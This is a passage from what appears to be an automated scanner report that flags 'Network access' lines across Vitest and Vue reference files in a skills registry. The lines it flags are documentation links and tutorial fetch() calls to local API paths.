  • Network accessline 330
    - https://vitest.dev/guide/mocking.html
  • Network accessline 331
    - https://vitest.dev/api/vi.html
  • Network accessline 332
    - https://vitest.dev/guide/recipes/conditional-mocking
  • Network accessline 333
    - https://vitest.dev/guide/recipes/explicit-resources

packages/autoskills/skills-registry/vitest/references/features-reporters.md

  • Network accessline 106
    <!-- Source references: - https://vitest.dev/guide/reporters
  • Network accessline 107
    Source references: - https://vitest.dev/guide/reporters - https://vitest.dev/config/reporters
  • Network accessline 108
    - https://vitest.dev/guide/reporters
  • Network accessline 109
    - https://vitest.dev/config/reporters

packages/autoskills/skills-registry/vitest/references/features-snapshots.md

  • Network accessline 248
    <!--  Source references: - https://vitest.dev/guide/snapshot.html
  • Network accessline 249
    Source references: - https://vitest.dev/guide/snapshot.html - https://vitest.dev/api/expect.html#tomatchsnapshot
  • Network accessline 250
    - https://vitest.dev/guide/snapshot.html
  • Network accessline 251
    - https://vitest.dev/api/expect.html#tomatchsnapshot
  • Network accessline 252
    - https://vitest.dev/guide/browser/aria-snapshots

packages/autoskills/skills-registry/vitest/references/features-test-tags.md

  • Network accessline 119
    <!-- Source references: - https://vitest.dev/guide/test-tags
  • Network accessline 120
    Source references: - https://vitest.dev/guide/test-tags - https://vitest.dev/config/tags
  • Network accessline 121
    - https://vitest.dev/guide/test-tags
  • Network accessline 122
    - https://vitest.dev/config/tags

packages/autoskills/skills-registry/vue-best-practices/references/reactivity.md

  • Network accessline 263
    A computed getter should only derive a value. No mutation, no API calls, no storage writes, no event emits. ([Reference](https://vuejs.org/guide/essentials/computed.html#best-practices))
  • Network accessline 264
    ([Reference](https://vuejs.org/guide/essentials/computed.html#best-practices))
  • Network accessline 338
    const res = await fetch(`/api/search?q=${encodeURIComponent(q)}`, {

packages/autoskills/skills-registry/vue-best-practices/references/sfc.md

  • Network accessline 216
    It leads to unclear intent and unnecessary work. ([Reference](https://vuejs.org/guide/essentials/list.html#v-for-with-v-if))
  • Network accessline 217
    ([Reference](https://vuejs.org/guide/essentials/list.html#v-for-with-v-if))

packages/autoskills/skills-registry/vue-best-practices/references/updated-hook-performance.md

  • Network accessline 31
    updated() {     // This runs after every single state change!     fetch('/api/sync', {
  • Network accessline 32
    // This runs after every single state change!     fetch('/api/sync', {       method: 'POST',
  • Network accessline 33
    fetch('/api/sync', {
  • Network accessline 83
    methods: {     syncToServer: debounce(function(items) {       fetch('/api/sync', {
  • Network accessline 84
    syncToServer: debounce(function(items) {       fetch('/api/sync', {         method: 'POST',
  • Network accessline 85
    fetch('/api/sync', {
  • Network accessline 108
    const syncToServer = useDebounceFn((items) => {   fetch('/api/sync', { method: 'POST', body: JSON.stringify(items) })
  • Network accessline 109
    fetch('/api/sync', { method: 'POST', body: JSON.stringify(items) })

packages/autoskills/skills-registry/vue-debug-guides/reference/animation-key-for-rerender.md

  • Network accessline 157
    ## Reference - [Vue.js Animation Techniques](https://vuejs.org/guide/extras/animation.html)
  • Network accessline 158
    - [Vue.js Animation Techniques](https://vuejs.org/guide/extras/animation.html)
  • Network accessline 159
    - [AutoAnimate with Vue](https://auto-animate.formkit.com/#usage-vue)
  • Network accessline 160
    - [Vue.js v-for with key](https://vuejs.org/guide/essentials/list.html#maintaining-state-with-key)

packages/autoskills/skills-registry/vue-debug-guides/reference/animation-transitiongroup-performance.md

  • Network accessline 238
    ## Reference - [Vue.js TransitionGroup](https://vuejs.org/guide/built-ins/transition-group.html)
  • Network accessline 239
    - [Vue.js TransitionGroup](https://vuejs.org/guide/built-ins/transition-group.html)
  • Network accessline 240
    - [GitHub Issue: transition-group DOM update lag](https://github.com/vuejs/vue/issues/5845)
  • Network accessline 241
    - [Vue Virtual Scroller](https://github.com/Akryum/vue-virtual-scroller)

packages/autoskills/skills-registry/vue-debug-guides/reference/async-component-error-handling.md

  • Network accessline 114
    - [Vue.js Async Components Documentation](https://vuejs.org/guide/components/async)
  • Network accessline 115
    - [Handling Async Components' loading errors](https://awad.dev/blog/handling-async-component-loading-errors/)

packages/autoskills/skills-registry/vue-debug-guides/reference/async-component-keepalive-ref-issue.md

  • Network accessline 111
    - [Vue.js GitHub Discussion #11334](https://github.com/orgs/vuejs/discussions/11334)
  • Network accessline 112
    - [Vue.js Async Components Documentation](https://vuejs.org/guide/components/async)

packages/autoskills/skills-registry/vue-debug-guides/reference/async-component-vue-router.md

  • Network accessline 108
    - [Vue Router Lazy Loading Routes](https://router.vuejs.org/guide/advanced/lazy-loading.html)
  • Network accessline 109
    - [Vue.js Async Components Documentation](https://vuejs.org/guide/components/async)

packages/autoskills/skills-registry/vue-debug-guides/reference/attrs-event-listener-merging.md

  • Network accessline 204
    - [Fallthrough Attributes - v-on Listener Inheritance](https://vuejs.org/guide/components/attrs.html#v-on-listener-inheritance)
  • Network accessline 205
    - [Component Events](https://vuejs.org/guide/components/events.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/checkbox-true-false-value-form-submission.md

  • Network accessline 88
    await fetch('/api/update', {
  • Network accessline 117
    ## Reference - [Vue.js Form Input Bindings - Checkbox](https://vuejs.org/guide/essentials/forms.html#checkbox)
  • Network accessline 118
    - [Vue.js Form Input Bindings - Checkbox](https://vuejs.org/guide/essentials/forms.html#checkbox)

packages/autoskills/skills-registry/vue-debug-guides/reference/cleanup-side-effects.md

  • Network accessline 170
    ## Reference - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)
  • Network accessline 171
    - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)
  • Network accessline 172
    - [VueUse - useEventListener](https://vueuse.org/core/useEventListener/)

packages/autoskills/skills-registry/vue-debug-guides/reference/click-events-on-components.md

  • Network accessline 177
    ## Reference - [Vue.js Component Events](https://vuejs.org/guide/components/events.html)
  • Network accessline 178
    - [Vue.js Component Events](https://vuejs.org/guide/components/events.html)
  • Network accessline 179
    - [Vue.js Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)
  • Network accessline 180
    - [Vue 3 Migration - .native Modifier Removed](https://v3-migration.vuejs.org/breaking-changes/v-on-native-modifier-removed.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/component-naming-conflicts.md

  • Network accessline 157
    ## Reference - [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html)
  • Network accessline 158
    - [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html)
  • Network accessline 159
    - [GitHub Issue: Global component naming conflicts](https://github.com/vuejs/vue/issues/4434)

packages/autoskills/skills-registry/vue-debug-guides/reference/component-ref-requires-defineexpose.md

  • Network accessline 174
    ## Reference - [Vue.js Component Refs](https://vuejs.org/guide/essentials/template-refs.html#ref-on-component)
  • Network accessline 175
    - [Vue.js Component Refs](https://vuejs.org/guide/essentials/template-refs.html#ref-on-component)
  • Network accessline 176
    - [Script Setup - defineExpose](https://vuejs.org/api/sfc-script-setup.html#defineexpose)

packages/autoskills/skills-registry/vue-debug-guides/reference/composable-avoid-hidden-side-effects.md

  • Network accessline 184
    async function fetch(url) {
  • Network accessline 206
    ## Reference - [Vue.js Composables](https://vuejs.org/guide/reusability/composables.html)
  • Network accessline 207
    - [Vue.js Composables](https://vuejs.org/guide/reusability/composables.html)
  • Network accessline 208
    - [Common Mistakes Creating Composition Functions](https://www.telerik.com/blogs/common-mistakes-creating-composition-functions-vue)

packages/autoskills/skills-registry/vue-debug-guides/reference/composable-call-location-restrictions.md

  • Network accessline 75
    // Either fetch in onMounted or use a composable designed for arrays onMounted(async () => {   results.value = await Promise.all(urls.value.map(url => fetch(url)))
  • Network accessline 76
    onMounted(async () => {   results.value = await Promise.all(urls.value.map(url => fetch(url))) })
  • Network accessline 77
    results.value = await Promise.all(urls.value.map(url => fetch(url)))
  • Network accessline 139
    ## Reference - [Vue.js Composables - Usage Restrictions](https://vuejs.org/guide/reusability/composables.html#usage-restrictions)
  • Network accessline 140
    - [Vue.js Composables - Usage Restrictions](https://vuejs.org/guide/reusability/composables.html#usage-restrictions)
  • Network accessline 141
    - [Vue.js Composition API - Setup Context](https://vuejs.org/api/composition-api-setup.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/composable-naming-return-pattern.md

  • Network accessline 137
    ## Reference - [Vue.js Composables - Conventions and Best Practices](https://vuejs.org/guide/reusability/composables.html#conventions-and-best-practices)
  • Network accessline 138
    - [Vue.js Composables - Conventions and Best Practices](https://vuejs.org/guide/reusability/composables.html#conventions-and-best-practices)
  • Network accessline 139
    - [Vue.js Composables - Return Values](https://vuejs.org/guide/reusability/composables.html#return-values)

packages/autoskills/skills-registry/vue-debug-guides/reference/composable-tovalue-inside-watcheffect.md

  • Network accessline 35
    try {       // urlValue is a static string - no dependency tracked!       const response = await fetch(urlValue)
  • Network accessline 36
    // urlValue is a static string - no dependency tracked!       const response = await fetch(urlValue)       data.value = await response.json()
  • Network accessline 37
    const response = await fetch(urlValue)
  • Network accessline 68
    try {       const response = await fetch(urlValue)
  • Network accessline 69
    const response = await fetch(urlValue)
  • Network accessline 180
    ## Reference - [Vue.js Reactivity API - toValue](https://vuejs.org/api/reactivity-utilities.html#tovalue)
  • Network accessline 181
    - [Vue.js Reactivity API - toValue](https://vuejs.org/api/reactivity-utilities.html#tovalue)
  • Network accessline 182
    - [Vue.js Composables - Accepting Ref Arguments](https://vuejs.org/guide/reusability/composables.html#accepting-reactive-state)

packages/autoskills/skills-registry/vue-debug-guides/reference/composition-api-not-functional-programming.md

  • Network accessline 118
    ## Reference - [Composition API FAQ](https://vuejs.org/guide/extras/composition-api-faq.html)
  • Network accessline 119
    - [Composition API FAQ](https://vuejs.org/guide/extras/composition-api-faq.html)
  • Network accessline 120
    - [Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/composition-api-script-setup-async-context.md

  • Network accessline 200
    ## Reference - [Composition API FAQ - Async Setup](https://vuejs.org/guide/extras/composition-api-faq.html)
  • Network accessline 201
    - [Composition API FAQ - Async Setup](https://vuejs.org/guide/extras/composition-api-faq.html)
  • Network accessline 202
    - [Composables - Async Without Await](https://antfu.me/posts/async-with-composition-api)
  • Network accessline 203
    - [Suspense](https://vuejs.org/guide/built-ins/suspense.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/composition-api-vs-react-hooks-differences.md

  • Network accessline 154
    ## Reference - [Composition API FAQ - Relationship with React Hooks](https://vuejs.org/guide/extras/composition-api-faq.html#relationship-with-react-hooks)
  • Network accessline 155
    - [Composition API FAQ - Relationship with React Hooks](https://vuejs.org/guide/extras/composition-api-faq.html#relationship-with-react-hooks)
  • Network accessline 156
    - [Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/computed-array-mutation.md

  • Network accessline 146
    ## Reference - [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value)
  • Network accessline 147
    - [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value)
  • Network accessline 148
    - [MDN Array Methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)

packages/autoskills/skills-registry/vue-debug-guides/reference/computed-conditional-dependencies.md

  • Network accessline 145
    ## Reference - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)
  • Network accessline 146
    - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)
  • Network accessline 147
    - [GitHub Discussion: Dependency collection gotcha with conditionals](https://github.com/vuejs/Discussion/issues/15)

packages/autoskills/skills-registry/vue-debug-guides/reference/computed-no-parameters.md

  • Network accessline 157
    ## Reference - [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html)
  • Network accessline 158
    - [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html)
  • Network accessline 159
    - [Vue.js Methods](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#declaring-methods)

packages/autoskills/skills-registry/vue-debug-guides/reference/computed-no-side-effects.md

  • Network accessline 38
    // BAD: Makes async request const userData = computed(async () => {   const response = await fetch('/api/user')  // Side effect - API call!
  • Network accessline 39
    const userData = computed(async () => {   const response = await fetch('/api/user')  // Side effect - API call!   return response.json()
  • Network accessline 40
    const response = await fetch('/api/user')  // Side effect - API call!
  • Network accessline 72
    // GOOD: Use lifecycle hook for initial fetch onMounted(async () => {   const response = await fetch('/api/user')
  • Network accessline 73
    onMounted(async () => {   const response = await fetch('/api/user')   userData.value = await response.json()
  • Network accessline 74
    const response = await fetch('/api/user')
  • Network accessline 98
    |-----------------|---------|-------------| | State mutation | `otherRef.value = x` | Use watcher | | API calls | `fetch()`, `axios()` | Use watcher or lifecycle hook |
  • Network accessline 99
    | State mutation | `otherRef.value = x` | Use watcher | | API calls | `fetch()`, `axios()` | Use watcher or lifecycle hook | | DOM manipulation | `document.title = x` | Use watcher |
  • Network accessline 100
    | API calls | `fetch()`, `axios()` | Use watcher or lifecycle hook |
  • Network accessline 106
    ## Reference - [Vue.js Computed Properties - Getters Should Be Side-Effect Free](https://vuejs.org/guide/essentials/computed.html#getters-should-be-side-effect-free)
  • Network accessline 107
    - [Vue.js Computed Properties - Getters Should Be Side-Effect Free](https://vuejs.org/guide/essentials/computed.html#getters-should-be-side-effect-free)

packages/autoskills/skills-registry/vue-debug-guides/reference/computed-return-value-readonly.md

  • Network accessline 158
    ## Reference - [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value)
  • Network accessline 159
    - [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value)
  • Network accessline 160
    - [Vue.js Computed Properties - Writable Computed](https://vuejs.org/guide/essentials/computed.html#writable-computed)

packages/autoskills/skills-registry/vue-debug-guides/reference/configure-app-before-mount.md

  • Network accessline 87
    ## Reference - [Vue.js - Creating a Vue Application](https://vuejs.org/guide/essentials/application.html)
  • Network accessline 88
    - [Vue.js - Creating a Vue Application](https://vuejs.org/guide/essentials/application.html)
  • Network accessline 89
    - [Vue.js Application API](https://vuejs.org/api/application.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/declare-emits-for-documentation.md

  • Network accessline 209
    ## Reference - [Vue.js Component Events - Declaring Emitted Events](https://vuejs.org/guide/components/events.html#declaring-emitted-events)
  • Network accessline 210
    - [Vue.js Component Events - Declaring Emitted Events](https://vuejs.org/guide/components/events.html#declaring-emitted-events)
  • Network accessline 211
    - [Vue.js Component Events - Events Validation](https://vuejs.org/guide/components/events.html#events-validation)
  • Network accessline 212
    - [Vue 3 Migration - emits Option](https://v3-migration.vuejs.org/breaking-changes/emits-option)

packages/autoskills/skills-registry/vue-debug-guides/reference/define-expose-before-await.md

  • Network accessline 35
    // WRONG: await before defineExpose const response = await fetch('/api/data')
  • Network accessline 36
    const response = await fetch('/api/data')
  • Network accessline 94
    // Now safe to use await const response = await fetch('/api/data')
  • Network accessline 95
    const response = await fetch('/api/data')
  • Network accessline 116
    async function refreshData() {   loading.value = true   const response = await fetch('/api/data')
  • Network accessline 117
    loading.value = true   const response = await fetch('/api/data')   data.value = await response.json()
  • Network accessline 118
    const response = await fetch('/api/data')
  • Network accessline 159
    async function loadData() {   const [userRes, postsRes] = await Promise.all([     fetch('/api/user'),
  • Network accessline 160
    const [userRes, postsRes] = await Promise.all([     fetch('/api/user'),     fetch('/api/posts')
  • Network accessline 161
    fetch('/api/user'),
  • Network accessline 162
    fetch('/api/posts')
  • Network accessline 182
    // Context available here   await fetch(...)  // Suspends execution
  • Network accessline 183
    await fetch(...)  // Suspends execution
  • Network accessline 190
    ## Reference - [Vue.js Script Setup - defineExpose](https://vuejs.org/api/sfc-script-setup.html#defineexpose)
  • Network accessline 191
    - [Vue.js Script Setup - defineExpose](https://vuejs.org/api/sfc-script-setup.html#defineexpose)
  • Network accessline 192
    - [Vue.js Async Components](https://vuejs.org/guide/components/async.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/define-model-default-value-sync.md

  • Network accessline 137
    ## Reference - [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html)
  • Network accessline 138
    - [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html)
  • Network accessline 139
    - [Vue School - defineModel Guide](https://vueschool.io/articles/vuejs-tutorials/v-model-and-definemodel-a-comprehensive-guide-to-two-way-binding-in-vue-js-3/)

packages/autoskills/skills-registry/vue-debug-guides/reference/defineEmits-must-be-top-level.md

  • Network accessline 162
    ## Reference - [Vue.js SFC script setup](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits)
  • Network accessline 163
    - [Vue.js SFC script setup](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits)
  • Network accessline 164
    - [ESLint vue/valid-define-emits](https://eslint.vuejs.org/rules/valid-define-emits)

packages/autoskills/skills-registry/vue-debug-guides/reference/defineEmits-no-runtime-and-type-mixed.md

  • Network accessline 168
    ## Reference - [Vue.js SFC script setup - defineEmits](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits)
  • Network accessline 169
    - [Vue.js SFC script setup - defineEmits](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits)
  • Network accessline 170
    - [Vue.js TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html#typing-component-emits)

packages/autoskills/skills-registry/vue-debug-guides/reference/definemodel-object-mutation-no-emit.md

  • Network accessline 145
    ## Reference - [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html)
  • Network accessline 146
    - [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html)
  • Network accessline 147
    - [GitHub Discussion: defineModel with objects](https://github.com/orgs/vuejs/discussions/10538)
  • Network accessline 148
    - [SIMPL Engineering: Vue defineModel Pitfalls](https://engineering.simpl.de/post/vue_definemodel/)

packages/autoskills/skills-registry/vue-debug-guides/reference/dom-update-timing-nexttick.md

  • Network accessline 88
    ## Reference - [Vue.js Reactivity Fundamentals - DOM Update Timing](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#dom-update-timing)
  • Network accessline 89
    - [Vue.js Reactivity Fundamentals - DOM Update Timing](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#dom-update-timing)
  • Network accessline 90
    - [Vue.js nextTick API](https://vuejs.org/api/general.html#nexttick)

packages/autoskills/skills-registry/vue-debug-guides/reference/dynamic-argument-constraints.md

  • Network accessline 68
    // Simple string variable const attributeName = ref('href') const url = ref('https://vuejs.org')
  • Network accessline 70
    const url = ref('https://vuejs.org')
  • Network accessline 107
    // Match the lowercase used in template     const attrname = ref('href')     const url = ref('https://vuejs.org')
  • Network accessline 108
    const attrname = ref('href')     const url = ref('https://vuejs.org')     return { attrname, url }
  • Network accessline 109
    const url = ref('https://vuejs.org')
  • Network accessline 144
    ## Reference - [Vue.js Template Syntax - Dynamic Arguments](https://vuejs.org/guide/essentials/template-syntax.html#dynamic-arguments)
  • Network accessline 145
    - [Vue.js Template Syntax - Dynamic Arguments](https://vuejs.org/guide/essentials/template-syntax.html#dynamic-arguments)
  • Network accessline 146
    - [Vue.js Template Syntax - Dynamic Argument Value Constraints](https://vuejs.org/guide/essentials/template-syntax.html#dynamic-argument-value-constraints)

packages/autoskills/skills-registry/vue-debug-guides/reference/dynamic-component-registration-vite.md

  • Network accessline 145
    ## Reference - [Vite - Glob Import](https://vitejs.dev/guide/features.html#glob-import)
  • Network accessline 146
    - [Vite - Glob Import](https://vitejs.dev/guide/features.html#glob-import)
  • Network accessline 147
    - [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/event-modifier-order-matters.md

  • Network accessline 100
    ## Reference - [Vue.js Event Handling - Event Modifiers](https://vuejs.org/guide/essentials/event-handling.html#event-modifiers)
  • Network accessline 101
    - [Vue.js Event Handling - Event Modifiers](https://vuejs.org/guide/essentials/event-handling.html#event-modifiers)

packages/autoskills/skills-registry/vue-debug-guides/reference/exact-modifier-for-precise-shortcuts.md

  • Network accessline 154
    ## Reference - [Vue.js Event Handling - .exact Modifier](https://vuejs.org/guide/essentials/event-handling.html#exact-modifier)
  • Network accessline 155
    - [Vue.js Event Handling - .exact Modifier](https://vuejs.org/guide/essentials/event-handling.html#exact-modifier)

packages/autoskills/skills-registry/vue-debug-guides/reference/fallthrough-attrs-overwrite-vue3.md

  • Network accessline 157
    - [Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)
  • Network accessline 158
    - [Vue 3 Migration Guide - Attribute Coercion Behavior](https://v3-migration.vuejs.org/breaking-changes/)
  • Network accessline 159
    - [Vue Fallthrough Attributes behaviour changes from Vue 2 to Vue 3](https://lukes.tips/posts/vue-3-fallthough-attributes-changes/)

packages/autoskills/skills-registry/vue-debug-guides/reference/in-dom-template-parsing-caveats.md

  • Network accessline 148
    ## Reference - [Vue.js - In-DOM Template Parsing Caveats](https://vuejs.org/guide/essentials/component-basics.html#in-dom-template-parsing-caveats)
  • Network accessline 149
    - [Vue.js - In-DOM Template Parsing Caveats](https://vuejs.org/guide/essentials/component-basics.html#in-dom-template-parsing-caveats)

packages/autoskills/skills-registry/vue-debug-guides/reference/inheritattrs-false-for-wrapper-components.md

  • Network accessline 229
    - [Fallthrough Attributes - Disabling Attribute Inheritance](https://vuejs.org/guide/components/attrs.html#disabling-attribute-inheritance)
  • Network accessline 230
    - [Build Advanced Components in Vue 3 using $attrs](https://www.thisdot.co/blog/build-advanced-components-in-vue-3-using-usdattrs)

packages/autoskills/skills-registry/vue-debug-guides/reference/keepalive-router-nested-double-mount.md

  • Network accessline 219
    ## Reference - [Vue Router Issue #626: keep-alive in nested route mounted twice](https://github.com/vuejs/router/issues/626)
  • Network accessline 220
    - [Vue Router Issue #626: keep-alive in nested route mounted twice](https://github.com/vuejs/router/issues/626)
  • Network accessline 221
    - [GitHub: vue3-keep-alive-component workaround](https://github.com/emiyalee1005/vue3-keep-alive-component)
  • Network accessline 222
    - [Vue.js KeepAlive Documentation](https://vuejs.org/guide/built-ins/keep-alive.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/keepalive-transition-memory-leak.md

  • Network accessline 141
    ## Reference - [GitHub Issue #9842: Memory leak with transition and keep-alive](https://github.com/vuejs/vue/issues/9842)
  • Network accessline 142
    - [GitHub Issue #9842: Memory leak with transition and keep-alive](https://github.com/vuejs/vue/issues/9842)
  • Network accessline 143
    - [GitHub Issue #9840: Memory leak with transition and keep-alive](https://github.com/vuejs/vue/issues/9840)
  • Network accessline 144
    - [Vue.js KeepAlive Documentation](https://vuejs.org/guide/built-ins/keep-alive.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/keyup-modifier-timing.md

  • Network accessline 135
    ## Reference - [Vue.js Event Handling - Key Modifiers](https://vuejs.org/guide/essentials/event-handling.html#key-modifiers)
  • Network accessline 136
    - [Vue.js Event Handling - Key Modifiers](https://vuejs.org/guide/essentials/event-handling.html#key-modifiers)
  • Network accessline 137
    - [Vue.js Event Handling - System Modifier Keys](https://vuejs.org/guide/essentials/event-handling.html#system-modifier-keys)

packages/autoskills/skills-registry/vue-debug-guides/reference/lifecycle-dom-access-timing.md

  • Network accessline 213
    ## Reference - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)
  • Network accessline 214
    - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)
  • Network accessline 215
    - [Vue.js Template Refs](https://vuejs.org/guide/essentials/template-refs.html)
  • Network accessline 216
    - [Vue.js nextTick](https://vuejs.org/api/general.html#nexttick)

packages/autoskills/skills-registry/vue-debug-guides/reference/lifecycle-hooks-synchronous-registration.md

  • Network accessline 154
    ## Reference - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)
  • Network accessline 155
    - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)
  • Network accessline 156
    - [Composition API Lifecycle Hooks](https://vuejs.org/api/composition-api-lifecycle.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/lifecycle-ssr-awareness.md

  • Network accessline 181
    ## Reference - [Vue.js SSR Guide](https://vuejs.org/guide/scaling-up/ssr.html)
  • Network accessline 182
    - [Vue.js SSR Guide](https://vuejs.org/guide/scaling-up/ssr.html)
  • Network accessline 183
    - [Nuxt.js Lifecycle](https://nuxt.com/docs/api/composables/use-nuxt-app#lifecycle-hooks)
  • Network accessline 184
    - [Vue SSR Hydration](https://vuejs.org/guide/scaling-up/ssr.html#client-hydration)

packages/autoskills/skills-registry/vue-debug-guides/reference/local-components-not-in-descendants.md

  • Network accessline 150
    ## Reference - [Vue.js Component Registration - Local Registration](https://vuejs.org/guide/components/registration.html#local-registration)
  • Network accessline 151
    - [Vue.js Component Registration - Local Registration](https://vuejs.org/guide/components/registration.html#local-registration)

packages/autoskills/skills-registry/vue-debug-guides/reference/mount-return-value.md

  • Network accessline 86
    ## Reference - [Vue.js - Mounting the App](https://vuejs.org/guide/essentials/application.html#mounting-the-app)
  • Network accessline 87
    - [Vue.js - Mounting the App](https://vuejs.org/guide/essentials/application.html#mounting-the-app)
  • Network accessline 88
    - [Vue.js Application API - mount()](https://vuejs.org/api/application.html#app-mount)

packages/autoskills/skills-registry/vue-debug-guides/reference/multi-root-component-class-attrs.md

  • Network accessline 92
    - [Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)
  • Network accessline 93
    - [Vue 3 Migration Guide - $attrs includes class & style](https://v3-migration.vuejs.org/breaking-changes/attrs-includes-class-style)

packages/autoskills/skills-registry/vue-debug-guides/reference/native-event-collision-with-emits.md

  • Network accessline 160
    ## Reference - [Vue.js Component Events](https://vuejs.org/guide/components/events.html)
  • Network accessline 161
    - [Vue.js Component Events](https://vuejs.org/guide/components/events.html)
  • Network accessline 162
    - [Vue.js Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/no-passive-with-prevent.md

  • Network accessline 139
    ## Reference - [Vue.js Event Handling - Event Modifiers](https://vuejs.org/guide/essentials/event-handling.html#event-modifiers)
  • Network accessline 140
    - [Vue.js Event Handling - Event Modifiers](https://vuejs.org/guide/essentials/event-handling.html#event-modifiers)
  • Network accessline 141
    - [MDN - Improving scroll performance with passive listeners](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#improving_scrolling_performance_with_passive_listeners)

packages/autoskills/skills-registry/vue-debug-guides/reference/no-v-if-with-v-for.md

  • Network accessline 133
    ## Reference - [Vue.js Style Guide - Avoid v-if with v-for](https://vuejs.org/style-guide/rules-essential.html#avoid-v-if-with-v-for)
  • Network accessline 134
    - [Vue.js Style Guide - Avoid v-if with v-for](https://vuejs.org/style-guide/rules-essential.html#avoid-v-if-with-v-for)
  • Network accessline 135
    - [Vue 3 Migration Guide - v-if vs v-for Precedence](https://v3-migration.vuejs.org/breaking-changes/v-if-v-for)
  • Network accessline 136
    - [ESLint Plugin Vue - no-use-v-if-with-v-for](https://eslint.vuejs.org/rules/no-use-v-if-with-v-for)

packages/autoskills/skills-registry/vue-debug-guides/reference/perf-computed-object-stability.md

  • Network accessline 155
    ## Reference - [Vue.js Performance - Computed Stability](https://vuejs.org/guide/best-practices/performance.html#computed-stability)
  • Network accessline 156
    - [Vue.js Performance - Computed Stability](https://vuejs.org/guide/best-practices/performance.html#computed-stability)
  • Network accessline 157
    - [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/perf-props-stability-update-optimization.md

  • Network accessline 139
    ## Reference - [Vue.js Performance - Props Stability](https://vuejs.org/guide/best-practices/performance.html#props-stability)
  • Network accessline 140
    - [Vue.js Performance - Props Stability](https://vuejs.org/guide/best-practices/performance.html#props-stability)

packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-global-properties-sparingly.md

  • Network accessline 108
    - [Vue.js Plugins Documentation](https://vuejs.org/guide/reusability/plugins.html)
  • Network accessline 109
    - [Vue.js Global Properties](https://vuejs.org/api/application.html#app-config-globalproperties)

packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-install-before-mount.md

  • Network accessline 122
    - [Vue.js Plugins Documentation](https://vuejs.org/guide/reusability/plugins.html)
  • Network accessline 123
    - [Vue.js Application API](https://vuejs.org/api/application.html)
  • Network accessline 124
    - [Vue 3 Migration Guide - Global API](https://v3-migration.vuejs.org/breaking-changes/global-api.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-prefer-provide-inject-over-global-properties.md

  • Network accessline 118
    - [Vue.js Plugins Documentation](https://vuejs.org/guide/reusability/plugins.html)
  • Network accessline 119
    - [Vue.js Provide/Inject](https://vuejs.org/guide/components/provide-inject.html)
  • Network accessline 120
    - [TypeScript with Options API](https://vuejs.org/guide/typescript/options-api.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-typescript-type-augmentation.md

  • Network accessline 155
    - [Vue.js TypeScript with Options API](https://vuejs.org/guide/typescript/options-api.html)
  • Network accessline 156
    - [TypeScript Module Augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation)
  • Network accessline 157
    - [Vue.js Plugins Documentation](https://vuejs.org/guide/reusability/plugins.html)

packages/autoskills/skills-registry/vue-debug-guides/reference/prop-defineprops-scope-limitation.md

  • Network accessline 160
    ## Reference - [Vue.js Script Setup - defineProps](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits)
  • Network accessline 161
    - [Vue.js Script Setup - defineProps](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits)

packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-debugging-challenges.md

  • Network accessline 201
